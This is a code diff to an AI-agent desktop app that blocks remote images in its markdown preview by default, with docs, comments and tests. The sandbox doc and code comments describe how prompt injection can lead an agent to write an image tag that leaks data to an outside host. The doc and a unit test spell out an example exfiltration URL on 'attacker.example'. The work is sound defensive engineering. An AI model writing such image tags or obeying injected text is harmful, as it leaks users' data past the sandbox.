diff --git a/docs/sandbox.md b/docs/sandbox.md index 9a93a3b..ea87ad0 100644 --- a/docs/sandbox.md +++ b/docs/sandbox.md @@ -33,29 +33,34 @@ The seatbelt + CONNECT proxy cage the **agent process**. They do not cage the **webview**, which makes its own network requests as the app itself. Anything the webview can be made to fetch is egress the proxy allowlist never sees. -There is one such path today, accepted deliberately (#65): `img-src` in -`tauri.conf.json` allows any `https:` origin, so the markdown preview renders -remote images. Previewing +There was one such path (#65): `img-src` in `tauri.conf.json` allows any +`https:` origin, so the markdown preview could render remote images. +Previewing ```markdown ![](https://attacker.example/x.png?d=) ``` -fires a GET to an arbitrary host on render, with no click and no prompt, even -when the workspace is in `Enforce` and the agent itself cannot reach that host. - -The realistic trigger is not a scheming agent, it is **prompt injection plus -untrusted markdown**. An agent reads a dependency's README, a GitHub issue, or a -fetched page, and that text tells it to write the image tag. The same applies to -markdown the agent never touched: a contributor's fork, a submodule, a vendored -package. Only a GET is possible (no script: `script-src 'self'`, markdown-it runs -with `html:false` and blocks `javascript:`), so the payload is limited to what -the markdown's author can encode in a URL, plus the viewer's IP, user-agent, and -timing. GitHub and VS Code make the same tradeoff for their previews. - -If this ever needs closing, the shape is a default-off "load remote images" -preference gating hydration (tracked in #69), not a CSP tweak: Tauri's CSP is -one policy for the whole webview and cannot be scoped to a component. +used to fire a GET to an arbitrary host on render, with no click and no +prompt, even when the task is in `Enforce` and the agent itself cannot reach +that host. + +The realistic trigger was never a scheming agent, it's **prompt injection +plus untrusted markdown**. An agent reads a dependency's README, a GitHub +issue, or a fetched page, and that text tells it to write the image tag. The +same applies to markdown the agent never touched: a contributor's fork, a +submodule, a vendored package. Only a GET was ever possible (no script: +`script-src 'self'`, markdown-it runs with `html:false` and blocks +`javascript:`), so the payload was limited to what the markdown's author +could encode in a URL, plus the viewer's IP, user-agent, and timing. GitHub +and VS Code make the same tradeoff for their previews, but not on by default. + +Closed in #69: `gateRemoteImages()` in `MarkdownPreview.tsx` intercepts every +`http(s):` `` src before it ever reaches the DOM's `src` attribute, +gated on a default-OFF `loadRemoteImages` pref (Settings → General) or a +per-tab override set from the preview's own "blocked images" banner. The CSP +itself is unchanged, still allows `https:` in `img-src` — this is a renderer +gate, not a CSP tweak, per the note below. **Before widening the CSP again, remember it is app-wide.** `connect-src` or `script-src` would be materially worse than `img-src` is. diff --git a/src/components/settings/GeneralSection.tsx b/src/components/settings/GeneralSection.tsx index 3dfeb1a..bf6ff46 100644 --- a/src/components/settings/GeneralSection.tsx +++ b/src/components/settings/GeneralSection.tsx @@ -46,6 +46,8 @@ export function GeneralSection() { const setSettledHighlight = usePrefs(s => s.setSettledHighlight); const workingIndicator = usePrefs(s => s.workingIndicator); const setWorkingIndicator = usePrefs(s => s.setWorkingIndicator); + const loadRemoteImages = usePrefs(s => s.loadRemoteImages); + const setLoadRemoteImages = usePrefs(s => s.setLoadRemoteImages); const globalDefaultSandbox = usePrefs(s => s.globalDefaultSandbox); const setGlobalDefaultSandbox = usePrefs(s => s.setGlobalDefaultSandbox); const sandboxBypassPermissions = usePrefs(s => s.sandboxBypassPermissions); @@ -59,6 +61,25 @@ export function GeneralSection() { const terminalCopyOnSelect = usePrefs(s => s.terminalCopyOnSelect); const setTerminalCopyOnSelect = usePrefs(s => s.setTerminalCopyOnSelect); + // Scroll-to-and-flash a specific row (e.g. the remote-images banner's + // "Settings" link) once, on mount — see view.settingsHighlight. Consumed + // immediately so a later manual visit to General doesn't re-trigger it, + // and cleared after a beat regardless (a fresh Settings mount from a + // stale link a minute later shouldn't re-flash something the user is + // already looking at). + const settingsHighlight = useApp(s => s.view.settingsHighlight); + const [flashId, setFlashId] = useState(null); + useEffect(() => { + if (!settingsHighlight) return; + const id = settingsHighlight; + useApp.getState().clearSettingsHighlight(); + document.getElementById(`setting-${id}`)?.scrollIntoView({ behavior: "smooth", block: "center" }); + setFlashId(id); + const t = window.setTimeout(() => setFlashId(f => (f === id ? null : f)), 1600); + return () => window.clearTimeout(t); + // eslint-disable-next-line react-hooks/exhaustive-deps + }, [settingsHighlight]); + useEffect(() => { settingsLoad().then(s => { setSettings(s); @@ -222,6 +243,21 @@ export function GeneralSection() { /> +
+ +
+
s.loadRemoteImages); + const remoteImagesAllowed = tab.remoteImagesUnblocked ?? loadRemoteImages; + // "Always" flips the global pref instead of just this tab's override — it + // covers every future document, not just this one. The confirmation + // (bar text + Settings link) is MarkdownPreview's own transient banner + // state, not a toast — see its onAlwaysLoadRemoteImages handling. + const alwaysLoadRemoteImages = () => usePrefs.getState().setLoadRemoteImages(true); + // Live buffer text fed from the editor's onContent. Debounced so split-mode // typing doesn't re-parse markdown + re-run mermaid on every keystroke. We // read view.state.doc lazily INSIDE the timeout, so a burst of keystrokes @@ -171,6 +183,12 @@ export function MarkdownPane({ task, tab }: { task: Task; tab: EditTab }) { revealHeading={tab.revealHeading} onRevealConsumed={() => useApp.getState().patchTab(task.id, tab.id, { revealHeading: undefined })} visible={showPreview} + remoteImagesAllowed={remoteImagesAllowed} + onUnblockRemoteImages={ + remoteImagesAllowed ? undefined + : () => useApp.getState().patchTab(task.id, tab.id, { remoteImagesUnblocked: true }) + } + onAlwaysLoadRemoteImages={remoteImagesAllowed ? undefined : alwaysLoadRemoteImages} />
diff --git a/src/components/task/MarkdownPreview.test.ts b/src/components/task/MarkdownPreview.test.ts index 48f87af..ac68fa9 100644 --- a/src/components/task/MarkdownPreview.test.ts +++ b/src/components/task/MarkdownPreview.test.ts @@ -12,8 +12,8 @@ vi.mock("@/store/ui", () => ({ useUI: { getState: vi.fn() } })); import { taskFileReadBase64 } from "@/lib/ipc"; import { - attemptReveal, captureReveal, consumeNavRevalidate, expireRevealGrace, hydrateTaskImages, IMG_CACHE_MAX_ENTRIES, - imgCacheInsert, newNavRevalidateState, newRevealState, + attemptReveal, captureReveal, consumeNavRevalidate, expireRevealGrace, gateRemoteImages, hydrateTaskImages, + IMG_CACHE_MAX_ENTRIES, imgCacheInsert, newNavRevalidateState, newRevealState, remoteImageBannerKind, type ImgCache, type MarkdownCtx, } from "./MarkdownPreview"; @@ -215,6 +215,73 @@ describe("hydrateTaskImages", () => { }); }); +describe("gateRemoteImages", () => { + beforeEach(() => { document.body.innerHTML = ""; }); + + it("blocks a remote http(s) src: never reaches the DOM's src attribute", () => { + const { host, img } = mount(``); + const blocked = gateRemoteImages(host, false); + expect(blocked).toBe(true); + expect(img.getAttribute("src")).toBeNull(); + expect(img.dataset.mdRemoteSrc).toBe("https://attacker.example/x.png?d=secret"); + }); + + it("restores a blocked src verbatim once allowed", () => { + const { host, img } = mount(``); + gateRemoteImages(host, false); + expect(img.getAttribute("src")).toBeNull(); + + const blocked = gateRemoteImages(host, true); + expect(blocked).toBe(false); + expect(img.getAttribute("src")).toBe("http://example.com/a.png"); + expect(img.dataset.mdRemoteSrc).toBeUndefined(); + }); + + it("leaves data: and blob: sources alone regardless of allowed", () => { + const { host } = mount(``); + const imgs = Array.from(host.querySelectorAll("img")); + expect(gateRemoteImages(host, false)).toBe(false); + expect(imgs[0].getAttribute("src")).toBe("data:image/png;base64,AAA"); + expect(imgs[1].getAttribute("src")).toBe("blob:x"); + }); + + it("leaves a task-relative image (already claimed by hydrateTaskImages) alone", () => { + const { host, img } = mount(``); + img.dataset.mdSrc = "a.png"; + img.removeAttribute("src"); + expect(gateRemoteImages(host, false)).toBe(false); + expect(img.dataset.mdRemoteSrc).toBeUndefined(); + }); + + it("when allowed from the start, never blocks (browser handles it natively)", () => { + const { host, img } = mount(``); + expect(gateRemoteImages(host, true)).toBe(false); + expect(img.getAttribute("src")).toBe("https://example.com/a.png"); + }); +}); + +describe("remoteImageBannerKind", () => { + it("shows nothing when there's nothing blocked and nothing to confirm", () => { + expect(remoteImageBannerKind(false, true, false)).toBeNull(); + }); + + it("shows the blocked banner when images are blocked and a per-doc override is offered", () => { + expect(remoteImageBannerKind(true, true, false)).toBe("blocked"); + }); + + it("shows nothing for a blocked doc with no per-doc override to offer (e.g. Changelog dialog)", () => { + expect(remoteImageBannerKind(true, false, false)).toBeNull(); + }); + + it("shows the confirm banner once justAllowedGlobally is set and nothing is blocked", () => { + expect(remoteImageBannerKind(false, true, true)).toBe("confirm"); + }); + + it("blocked always wins over a stale confirm, instead of showing both or flickering", () => { + expect(remoteImageBannerKind(true, true, true)).toBe("blocked"); + }); +}); + describe("imgCacheInsert entry-count cap", () => { it("bounds the cache by entry count, not just bytes (negative entries are ~0 bytes)", () => { const cache = newCache(); diff --git a/src/components/task/MarkdownPreview.tsx b/src/components/task/MarkdownPreview.tsx index 06e1787..75cee24 100644 --- a/src/components/task/MarkdownPreview.tsx +++ b/src/components/task/MarkdownPreview.tsx @@ -17,19 +17,18 @@ // (after an existence/type check — dead links and directories no longer open // blank/dead tabs). // -// Remote https images load directly (tauri.conf.json's img-src allows https:). -// This is an ACCEPTED SANDBOX GAP, not a neutral one: the webview lives outside -// the seatbelt + CONNECT proxy, so rendering `![](https://host/x.png?d=…)` -// fires a GET to an arbitrary host with no click, even when the task is in -// Enforce and the agent itself is barred from that host. The realistic trigger -// is prompt injection plus untrusted markdown (a dependency's README, a -// contributor's fork, a GitHub issue the agent read), not a scheming agent. -// Only a GET is possible: script-src is 'self', raw HTML stays disabled, and -// markdown-it's validateLink blocks javascript:, so nothing here adds a script -// execution path. GitHub and VS Code make the same call. Closing it means a -// default-off "load remote images" pref gating hydration, NOT a CSP tweak -// (Tauri's CSP is one policy for the whole webview). See docs/sandbox.md, -// "Known gap: the webview is outside the cage". +// Remote http(s) images (issue #69): tauri.conf.json's img-src still allows +// https: (the CSP is one whole-webview policy, so it can't gate just this +// component — see docs/sandbox.md, "Known gap: the webview is outside the +// cage"), but gateRemoteImages() below intercepts them BEFORE they ever hit +// an , keyed on the `remoteImagesAllowed` prop (prefs.loadRemoteImages, +// OFF by default, or a per-tab override). Blocked, the webview never fetches +// them at all: no unprompted GET to whatever host untrusted markdown names +// (prompt injection, a dependency's README, a contributor's fork). When any +// are blocked, the preview shows a banner to unblock them for this document. +// Only a GET was ever possible either way: script-src is 'self', raw HTML +// stays disabled, and markdown-it's validateLink blocks javascript:, so this +// gate closes egress, not a script-execution path. // // The rendered HTML is written into the host element IMPERATIVELY (not via // React's dangerouslySetInnerHTML). React must NOT own this subtree: mermaid @@ -44,10 +43,12 @@ import { useEffect, useRef, useState } from "react"; import MarkdownIt from "markdown-it"; import DOMPurify from "dompurify"; +import { Check, ImageOff } from "lucide-react"; import { openPath, taskFileReadBase64, taskPathStat, taskRevealPath } from "@/lib/ipc"; import { dirnamePosix, headingSlug, MARKDOWN_EXT_RE, resolveTaskHref } from "@/lib/markdownPaths"; import { useApp } from "@/store/app"; import { useUI } from "@/store/ui"; +import { TerminalExitedBanner } from "./TerminalExitedBanner"; // Monotonic id source for mermaid render targets. Math.random/Date.now are // avoided elsewhere in this codebase; a plain counter is deterministic enough. @@ -291,7 +292,7 @@ export function hydrateTaskImages( let raw = img.dataset.mdSrc; if (raw === undefined) { const src = img.getAttribute("src") || ""; - if (!src || /^(https?:|data:|blob:)/i.test(src)) continue; // remote/inline: browser handles it + if (!src || /^(https?:|data:|blob:)/i.test(src)) continue; // inline, or remote (gateRemoteImages handles those) img.dataset.mdSrc = raw = src; img.removeAttribute("src"); } @@ -311,6 +312,64 @@ export function hydrateTaskImages( } } +/** Block (or restore) remote http(s) sources in `host`, based on + * `allowed`. A blocked source is moved into `data-md-remote-src` and the + * `src` attribute removed, so the browser never issues the request; an + * allowed one is moved back onto `src` verbatim so the browser fetches it + * itself (this component does not proxy remote images, unlike task-relative + * ones — there's no IPC round-trip to gate, only whether the fetch happens + * at all). `data:`/`blob:` sources and task-relative ones (already claimed + * by `hydrateTaskImages` via `data-md-src`) are left untouched: gating only + * ever applies to an actual cross-origin network fetch. + * + * Returns true if `host` currently has at least one blocked remote image, + * so the caller can show the per-document "load images" affordance. + * Exported for tests only. */ +export function gateRemoteImages(host: HTMLElement, allowed: boolean): boolean { + let blocked = false; + for (const img of Array.from(host.querySelectorAll("img"))) { + const stashed = img.dataset.mdRemoteSrc; + if (stashed !== undefined) { + if (allowed) { + img.src = stashed; + delete img.dataset.mdRemoteSrc; + } else { + blocked = true; + } + continue; + } + if (img.dataset.mdSrc !== undefined) continue; // task-relative image + const src = img.getAttribute("src") || ""; + if (!/^https?:/i.test(src)) continue; // data:/blob:/no-src: never gated + if (allowed) continue; // browser handles it natively + img.dataset.mdRemoteSrc = src; + img.removeAttribute("src"); + blocked = true; + } + return blocked; +} + +export type RemoteImageBannerKind = "blocked" | "confirm" | null; + +/** Which remote-image banner (if any) the preview should show. "blocked" + * always wins over "confirm": if THIS render still has a blocked image + * (e.g. gateRemoteImages hasn't caught up to a just-flipped pref yet, or a + * brand-new blocked image appeared some other way), that takes priority + * over a stale "you're all set" confirmation rather than showing both or + * flickering between them. `canUnblock` mirrors the `onUnblockRemoteImages` + * prop being present (no per-document override to offer, e.g. the + * Changelog dialog, means no banner at all regardless of blocked state). + * Exported for tests only. */ +export function remoteImageBannerKind( + hasBlockedRemoteImages: boolean, + canUnblock: boolean, + justAllowedGlobally: boolean, +): RemoteImageBannerKind { + if (hasBlockedRemoteImages && canUnblock) return "blocked"; + if (justAllowedGlobally) return "confirm"; + return null; +} + /** Find a heading element by `#fragment`. markdown-it doesn't emit heading ids * (and injecting ids could collide with app DOM ids), so match headings by * GitHub-style slug of their text. Duplicate slugs are disambiguated with a @@ -469,7 +528,8 @@ export function attemptReveal(state: RevealState, host: HTMLElement | null, visi } export function MarkdownPreview( - { text, themeDark, linkify = true, ctx, revealHeading, onRevealConsumed, visible = true }: { + { text, themeDark, linkify = true, ctx, revealHeading, onRevealConsumed, visible = true, + remoteImagesAllowed = true, onUnblockRemoteImages, onAlwaysLoadRemoteImages }: { text: string; themeDark: boolean; linkify?: boolean; ctx?: MarkdownCtx; /** Pending `#fragment` to scroll to once content renders (from a * `file.md#heading` link that opened this tab). Cleared by the owner @@ -486,6 +546,22 @@ export function MarkdownPreview( * reveal effect waits for this before it will scroll. Defaults to true * for callers (the Changelog dialog) that never hide their preview. */ visible?: boolean; + /** Whether remote (http/https) images may load (issue #69). Defaults to + * true for callers with no untrusted-markdown threat model (the + * Changelog dialog renders termic's own bundled release notes). + * MarkdownPane computes this from `prefs.loadRemoteImages` and the + * tab's own `remoteImagesUnblocked` override for task-file previews. */ + remoteImagesAllowed?: boolean; + /** Present only when there's a per-document override to flip (i.e. a + * task-file preview). Invoked from the "blocked images" banner. */ + onUnblockRemoteImages?: () => void; + /** Present alongside onUnblockRemoteImages. Flips the GLOBAL pref + * instead of just this document's override — the banner's "Always" + * button. This component owns the confirmation UX itself (the banner + * swaps its own text/action in place for a few seconds, see + * justAllowedGlobally below); the callback here does nothing but + * flip the pref. */ + onAlwaysLoadRemoteImages?: () => void; }, ) { const hostRef = useRef(null); @@ -493,12 +569,27 @@ export function MarkdownPreview( if (!imgCacheRef.current) imgCacheRef.current = { map: new Map(), bytes: 0, inflight: new Map() }; const navRevalidateRef = useRef(null); if (!navRevalidateRef.current) navRevalidateRef.current = newNavRevalidateState(); + const [hasBlockedRemoteImages, setHasBlockedRemoteImages] = useState(false); + // Transient confirmation after "Always": the banner swaps its text/action + // in place (not a separate toast) and lingers a few seconds so the + // Settings pointer is actually readable, then just disappears once + // remoteImagesAllowed flips true and there's nothing left to gate. + const [justAllowedGlobally, setJustAllowedGlobally] = useState(false); + useEffect(() => { + if (!justAllowedGlobally) return; + const t = window.setTimeout(() => setJustAllowedGlobally(false), 5000); + return () => window.clearTimeout(t); + }, [justAllowedGlobally]); // Main imperative effect: parse → inject → hydrate images + mermaid. // Re-runs when the buffer text or the theme changes — deliberately NOT on // ctx.epoch: an agent settle must not rebuild the DOM or re-render mermaid // (see the epoch effect below). `alive` cancels a stale run when a newer - // one supersedes it (or on unmount) mid async-render. + // one supersedes it (or on unmount) mid async-render. Also re-runs on + // remoteImagesAllowed: flipping the pref or the per-doc override is rare + // (a settings toggle, a banner click), so a full re-render (mermaid + // included) is simpler than a third gate-only effect and not worth + // optimizing away. useEffect(() => { const host = hostRef.current; if (!host) return; @@ -511,6 +602,7 @@ export function MarkdownPreview( md.set({ linkify }); host.innerHTML = renderSanitized(text || ""); hydrateTaskImages(host, ctx, imgCacheRef.current!, { revalidatePositive: isNavigation }); + setHasBlockedRemoteImages(gateRemoteImages(host, remoteImagesAllowed)); const blocks = Array.from(host.querySelectorAll(".mermaid-block")); if (blocks.length === 0) return () => { alive = false; }; @@ -547,7 +639,7 @@ export function MarkdownPreview( })(); return () => { alive = false; }; // eslint-disable-next-line react-hooks/exhaustive-deps - }, [text, themeDark, linkify, ctx?.taskId, ctx?.filePath, ctx?.memberDirs]); + }, [text, themeDark, linkify, ctx?.taskId, ctx?.filePath, ctx?.memberDirs, remoteImagesAllowed]); // fsRevision bump = images may have changed on disk. Revalidate ONLY the // images (cached bytes stay on screen until a fresh read lands; a cheap @@ -732,9 +824,39 @@ export function MarkdownPreview( }); } + function handleAlways() { + onAlwaysLoadRemoteImages?.(); + setJustAllowedGlobally(true); + } + + const bannerKind = remoteImageBannerKind(hasBlockedRemoteImages, !!onUnblockRemoteImages, justAllowedGlobally); + return ( -
-
+
+ {bannerKind === "blocked" && onUnblockRemoteImages && ( + + )} + {bannerKind === "confirm" && ( + useApp.getState().openSettings("general", undefined, "load-remote-images")} + icon={Check} + tone="muted" + center + /> + )} +
+
+
); } diff --git a/src/components/task/TerminalExitedBanner.tsx b/src/components/task/TerminalExitedBanner.tsx index 3729dc9..fad8949 100644 --- a/src/components/task/TerminalExitedBanner.tsx +++ b/src/components/task/TerminalExitedBanner.tsx @@ -8,7 +8,7 @@ import { cn } from "@/lib/utils"; // scrollback, e.g. an error message). Render it as the first flex child of // a `flex-col` pane. Shared by the agent pane (TerminalPane) and the aux // shell (AuxTerminal) so the two can't drift. -export function TerminalExitedBanner({ label, actionLabel, onAction, icon: Icon = RotateCcw, tone = "warning", secondary, className }: { +export function TerminalExitedBanner({ label, actionLabel, onAction, icon: Icon = RotateCcw, tone = "warning", secondary, center, className }: { /** e.g. "codex exited." */ label: string; /** e.g. "Restart codex" / "New shell". */ @@ -21,6 +21,12 @@ export function TerminalExitedBanner({ label, actionLabel, onAction, icon: Icon /** Optional extra button to the RIGHT of the action (e.g. the setup-tab * auto-close countdown). */ secondary?: { label: string; onAction: () => void; icon?: LucideIcon; title?: string }; + /** Group label + buttons together in the middle of the bar instead of + * spreading them to opposite edges (justify-between). Off by default — + * the terminal-exit callers want the label pinned left, readable + * against a full-width strip. Markdown's remote-image banners opt in: + * short, single-line messages read better close to their buttons. */ + center?: boolean; className?: string; }) { const SecondaryIcon = secondary?.icon; @@ -38,7 +44,8 @@ export function TerminalExitedBanner({ label, actionLabel, onAction, icon: Icon className={cn( // Warn-tinted for dead agents; muted for managed Run/Setup tabs. // In-flow + shrink-0 so it pushes the terminal down. - "flex shrink-0 items-center justify-between gap-3 px-3 py-1.5", + "flex shrink-0 items-center gap-3 px-3 py-1.5", + center ? "justify-center" : "justify-between", className, )} > diff --git a/src/lib/types.ts b/src/lib/types.ts index 5fa8a9b..f431442 100644 --- a/src/lib/types.ts +++ b/src/lib/types.ts @@ -644,6 +644,12 @@ export interface EditTab extends BaseTab { * raw CodeMirror editor, "preview" the rendered HTML, "split" both * side-by-side. Undefined → "source". Ignored for non-markdown files. */ mdView?: "source" | "preview" | "split"; + /** Per-tab override: true unblocks remote (http/https) images in this + * document's markdown preview for the current session, without + * touching the global `loadRemoteImages` pref. Undefined falls back to + * the pref (see docs/sandbox.md, "Known gap: the webview is outside + * the cage", and MarkdownPreview.tsx). Session-only, like mdView. */ + remoteImagesUnblocked?: boolean; } export type Tab = TerminalTab | DiffTab | EditTab; diff --git a/src/store/app.test.ts b/src/store/app.test.ts index 56c53f5..c88e228 100644 --- a/src/store/app.test.ts +++ b/src/store/app.test.ts @@ -341,6 +341,25 @@ describe("openPreviewTab", () => { expect(tab.revealHeading).toBeUndefined(); }); + it("clears a per-document remoteImagesUnblocked override when the preview tab is recycled (issue #69)", () => { + // Regression: the previous file's "Show images" override must not + // silently carry over to a DIFFERENT file recycled into the same + // preview tab slot — that would unblock remote images in a file the + // user never actually approved. + const wsId = "ws1"; + const previewTab: Tab = { + id: "prev-1", type: "edit", title: "old.md", path: "docs/old.md", + preview: true, remoteImagesUnblocked: true, + } as any; + useApp.setState({ tabs: { [wsId]: [previewTab] }, activeTab: { [wsId]: "prev-1" } }); + + useApp.getState().openPreviewTab(wsId, { type: "edit", path: "docs/new.md", title: "new.md" }); + + const tab = useApp.getState().tabs[wsId][0] as any; + expect(tab.path).toBe("docs/new.md"); + expect(tab.remoteImagesUnblocked).toBeUndefined(); + }); + it("does not wipe a not-yet-consumed reveal when re-activating an existing tab without a new one", () => { // Regression: re-activating the SAME already-open file (no new reveal // target in this call) must never cancel a reveal that's already @@ -672,3 +691,32 @@ describe("setTabSessionId", () => { expect(ipc.taskSetTabSessionId).toHaveBeenCalledWith("ws1", "a", ""); }); }); + +describe("openSettings / clearSettingsHighlight", () => { + beforeEach(() => { useApp.setState({ view: { page: "dashboard" } }); }); + + it("opens to the given tab with no highlight by default", () => { + useApp.getState().openSettings("agents"); + expect(useApp.getState().view).toMatchObject({ settingsOpen: true, settingsTab: "agents", settingsHighlight: undefined }); + }); + + it("sets a highlight target for the section to consume (issue #69's Settings link)", () => { + useApp.getState().openSettings("general", undefined, "load-remote-images"); + expect(useApp.getState().view.settingsHighlight).toBe("load-remote-images"); + }); + + it("a later openSettings call without a highlight clears a previous one", () => { + // Regression: a stale highlight from an earlier "Settings" link must + // not resurface (re-flashing the wrong row) just because Settings is + // reopened normally afterwards, e.g. from the sidebar gear icon. + useApp.getState().openSettings("general", undefined, "load-remote-images"); + useApp.getState().openSettings("general"); + expect(useApp.getState().view.settingsHighlight).toBeUndefined(); + }); + + it("clearSettingsHighlight removes the highlight without closing settings or changing tab", () => { + useApp.getState().openSettings("general", undefined, "load-remote-images"); + useApp.getState().clearSettingsHighlight(); + expect(useApp.getState().view).toMatchObject({ settingsOpen: true, settingsTab: "general", settingsHighlight: undefined }); + }); +}); diff --git a/src/store/app.ts b/src/store/app.ts index a45390d..d3baa20 100644 --- a/src/store/app.ts +++ b/src/store/app.ts @@ -25,6 +25,11 @@ interface View { settingsTab?: "general" | "appearance" | "agents" | "prompts" | "repositories" | "shortcuts"; /** When viewing a repository's settings, which project id is active. */ settingsRepoId?: string; + /** DOM id to scroll into view + briefly highlight once the settings + * section mounts (e.g. a banner's "Settings" link pointing at the exact + * toggle it changed). Consumed and cleared by the section itself on + * mount, so a later manual visit to the same tab doesn't re-trigger it. */ + settingsHighlight?: string; } export interface AppState { @@ -109,8 +114,9 @@ export interface AppState { refreshClis: () => Promise; setActiveTask: (id: string | null) => void; setView: (page: View["page"]) => void; - openSettings: (tab?: View["settingsTab"], repoId?: string) => void; + openSettings: (tab?: View["settingsTab"], repoId?: string, highlight?: string) => void; closeSettings: () => void; + clearSettingsHighlight: () => void; toggleCompactSidebar: () => void; toggleRightPanel: () => void; /** Request the "All files" tree reveal a path: un-hides the right panel and @@ -479,10 +485,12 @@ export const useApp = create((set, get) => ({ // z-40 overlay (App.tsx). Preserving the underlying state means closing // Settings drops the user back into the exact task + tab they were // in, terminals still running, no context lost. - openSettings: (tab = "general", repoId) => - set(s => ({ view: { ...s.view, settingsTab: tab, settingsRepoId: repoId, settingsOpen: true } as View })), + openSettings: (tab = "general", repoId, highlight) => + set(s => ({ view: { ...s.view, settingsTab: tab, settingsRepoId: repoId, settingsOpen: true, settingsHighlight: highlight } as View })), closeSettings: () => set(s => ({ view: { ...s.view, settingsOpen: false } as View })), + clearSettingsHighlight: () => + set(s => ({ view: { ...s.view, settingsHighlight: undefined } as View })), toggleCompactSidebar: () => set(s => { const next = !s.compactSidebar; @@ -1616,9 +1624,16 @@ export const useApp = create((set, get) => ({ // reused for another file that happens to contain that heading). Applied // unconditionally by the two "recycle this preview tab" branches below, // where the file identity itself is changing. + // + // remoteImagesUnblocked rides along here for the same reason, but it's + // NOT just reveal-target hygiene: it's a per-document trust decision + // (issue #69), and letting it survive a recycle would silently unblock + // remote images in a file the user never actually approved, just + // because a PREVIOUS file shown in this same tab slot was unblocked. const revealPatch = { revealAt: data.type === "edit" ? data.revealAt : undefined, revealHeading: data.type === "edit" ? data.revealHeading : undefined, + remoteImagesUnblocked: undefined as boolean | undefined, }; // Used instead by the "already open, same file" branches: only a field // the caller explicitly supplied is ever applied. Unlike the recycle diff --git a/src/store/prefs.test.ts b/src/store/prefs.test.ts new file mode 100644 index 0000000..0fb44b2 --- /dev/null +++ b/src/store/prefs.test.ts @@ -0,0 +1,64 @@ +// @vitest-environment happy-dom +// loadRemoteImages (issue #69) is computed from localStorage once at module +// load, so its default-value behavior can only be observed with a FRESH +// module instance per scenario — vi.resetModules() + a dynamic import. +// +// Two things need stubbing before that import can succeed at all, both +// pre-existing and unrelated to loadRemoteImages itself: +// - localStorage: Node's own experimental global `localStorage` (present +// without a DOM environment, and seemingly winning out over happy-dom's +// in this vitest setup too) throws/warns without `--localstorage-file`, +// so neither the plain "node" nor "happy-dom" environment gives a +// working one here. A fake Map-backed one is stubbed directly instead. +// - document.fonts: prefs.ts calls terminalFontsSettled() unconditionally +// at module load (warms the terminal font faces at startup) which reads +// document.fonts — the CSS Font Loading API, which happy-dom doesn't +// implement. Stubbed as a no-op so the import doesn't throw. +import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; + +const LS_KEY = "loadRemoteImages"; + +function fakeLocalStorage() { + const store = new Map(); + return { + getItem: (k: string) => (store.has(k) ? store.get(k)! : null), + setItem: (k: string, v: string) => { store.set(k, v); }, + removeItem: (k: string) => { store.delete(k); }, + clear: () => { store.clear(); }, + }; +} + +describe("prefs: loadRemoteImages", () => { + beforeEach(() => { + vi.stubGlobal("localStorage", fakeLocalStorage()); + (document as any).fonts = { load: () => Promise.resolve(), ready: Promise.resolve() }; + vi.resetModules(); + }); + afterEach(() => { vi.unstubAllGlobals(); }); + + it("defaults to false with nothing in localStorage", async () => { + const { usePrefs } = await import("./prefs"); + expect(usePrefs.getState().loadRemoteImages).toBe(false); + }); + + it("picks up a persisted true value as the initial state on load", async () => { + localStorage.setItem(LS_KEY, "1"); + const { usePrefs } = await import("./prefs"); + expect(usePrefs.getState().loadRemoteImages).toBe(true); + }); + + it("setLoadRemoteImages(true) updates state and persists it", async () => { + const { usePrefs } = await import("./prefs"); + usePrefs.getState().setLoadRemoteImages(true); + expect(usePrefs.getState().loadRemoteImages).toBe(true); + expect(localStorage.getItem(LS_KEY)).toBe("1"); + }); + + it("setLoadRemoteImages(false) updates state and persists it", async () => { + localStorage.setItem(LS_KEY, "1"); + const { usePrefs } = await import("./prefs"); + usePrefs.getState().setLoadRemoteImages(false); + expect(usePrefs.getState().loadRemoteImages).toBe(false); + expect(localStorage.getItem(LS_KEY)).toBe("0"); + }); +}); diff --git a/src/store/prefs.ts b/src/store/prefs.ts index 324e71a..8a6cf07 100644 --- a/src/store/prefs.ts +++ b/src/store/prefs.ts @@ -45,6 +45,7 @@ const LS_TERMINAL_COPY_ON_SELECT = "terminalCopyOnSelect"; const LS_TASK_EXPAND_MODE = "taskExpandMode"; const LS_HIDE_INACTIVE_PROJECTS = "hideInactiveProjects"; const LS_MD_VIEW = "markdownDefaultView"; +const LS_LOAD_REMOTE_IMAGES = "loadRemoteImages"; const LS_BRANCH_PREFIX = "branchPrefix"; const LS_QUEUE_MIN_INTERVAL = "queueMinIntervalMs"; const LS_SHORTCUTS = "shortcutBindings"; @@ -357,6 +358,14 @@ interface PrefsState { * signal stuck, so TerminalPane has an absolute ceiling that force-clears * a stale "working" state regardless of sender signals. */ workingIndicator: boolean; + /** Gates remote (http/https) images in the markdown preview. OFF by + * default: the webview sits outside the seatbelt + CONNECT proxy cage, + * so an `` fires an unprompted GET to whatever + * host untrusted markdown names (prompt injection, a dependency's + * README, a contributor's fork) — see docs/sandbox.md, "Known gap: the + * webview is outside the cage". A per-document affordance in the + * preview can unblock a single file without flipping this pref. */ + loadRemoteImages: boolean; /** Default for the NewTaskDialog's Sandbox toggle when neither * the project's `default_sandbox` nor an explicit user pick is in * effect. Lets a single-keystroke toggle apply across all projects @@ -489,6 +498,7 @@ interface PrefsState { setCompletionSoundId: (id: CompletionSoundId) => void; setSettledHighlight: (v: boolean) => void; setWorkingIndicator: (v: boolean) => void; + setLoadRemoteImages: (v: boolean) => void; setGlobalDefaultSandbox: (v: boolean) => void; setSandboxBypassPermissions: (v: boolean) => void; setAllowScope: (s: "agent" | "project" | "repo") => void; @@ -592,6 +602,9 @@ const initialSettledHighlight = lsGetBool(LS_SETTLED_HIGHLIGHT, true); // OFF by default — experimental re-introduction of the work-in-progress // spinner. Opt in via Settings → General. const initialWorkingIndicator = lsGetBool(LS_WORKING_INDICATOR, false); +// OFF by default (issue #69): closing the remote-image sandbox gap must not +// silently start firing image requests for existing users. +const initialLoadRemoteImages = lsGetBool(LS_LOAD_REMOTE_IMAGES, false); const initialDefaultSandbox = lsGetBool(LS_DEFAULT_SANDBOX, false); // ON by default — sandboxed agents bypass their own permission prompts // because the seatbelt is the real boundary. Users can opt out. @@ -623,6 +636,7 @@ export const usePrefs = create(set => ({ completionSoundId: initialCompletionSoundId, settledHighlight: initialSettledHighlight, workingIndicator: initialWorkingIndicator, + loadRemoteImages: initialLoadRemoteImages, globalDefaultSandbox: initialDefaultSandbox, sandboxBypassPermissions: initialSandboxBypass, allowScope: initialAllowScope, @@ -770,6 +784,10 @@ export const usePrefs = create(set => ({ try { 